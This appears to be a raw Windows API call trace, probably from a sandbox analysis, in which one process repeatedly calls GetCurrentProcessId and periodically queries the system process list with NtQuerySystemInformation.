[0296.279] GetCurrentProcessId () returned 0xbf4 [0296.279] GetCurrentProcessId () returned 0xbf4 [0296.279] GetCurrentProcessId () returned 0xbf4 [0296.279] GetCurrentProcessId () returned 0xbf4 [0296.279] GetCurrentProcessId () returned 0xbf4 [0296.279] GetCurrentProcessId () returned 0xbf4 [0296.279] GetCurrentProcessId () returned 0xbf4 [0296.279] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.280] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.281] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.282] GetCurrentProcessId () returned 0xbf4 [0296.876] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.884] GetCurrentProcessId () returned 0xbf4 [0296.885] GetCurrentProcessId () returned 0xbf4 [0296.885] GetCurrentProcessId () returned 0xbf4 [0296.885] GetCurrentProcessId () returned 0xbf4 [0296.885] GetCurrentProcessId () returned 0xbf4 [0296.885] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.886] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.887] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0296.888] GetCurrentProcessId () returned 0xbf4 [0297.399] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.414] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.415] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.416] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.417] GetCurrentProcessId () returned 0xbf4 [0297.418] GetCurrentProcessId () returned 0xbf4 [0297.418] GetCurrentProcessId () returned 0xbf4 [0297.930] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.995] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.996] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.997] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.998] GetCurrentProcessId () returned 0xbf4 [0297.999] GetCurrentProcessId () returned 0xbf4 [0297.999] GetCurrentProcessId () returned 0xbf4 [0297.999] GetCurrentProcessId () returned 0xbf4 [0297.999] GetCurrentProcessId () returned 0xbf4 [0297.999] GetCurrentProcessId () returned 0xbf4 [0297.999] GetCurrentProcessId () returned 0xbf4 [0297.999] GetCurrentProcessId () returned 0xbf4 [0297.999] GetCurrentProcessId () returned 0xbf4 [0298.508] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0298.510] GetCurrentProcessId () returned 0xbf4 [0298.510] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.511] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.512] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.513] GetCurrentProcessId () returned 0xbf4 [0298.514] GetCurrentProcessId () returned 0xbf4 [0298.514] GetCurrentProcessId () returned 0xbf4 [0298.514] GetCurrentProcessId () returned 0xbf4 [0298.514] GetCurrentProcessId () returned 0xbf4 [0298.514] GetCurrentProcessId () returned 0xbf4 [0298.514] GetCurrentProcessId () returned 0xbf4 [0299.027] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x1289b270, Length=0x20000, ResultLength=0x1b7bebb0 | out: SystemInformation=0x1289b270, ResultLength=0x1b7bebb0*=0x1c890) returned 0x0 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.030] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 [0299.031] GetCurrentProcessId () returned 0xbf4 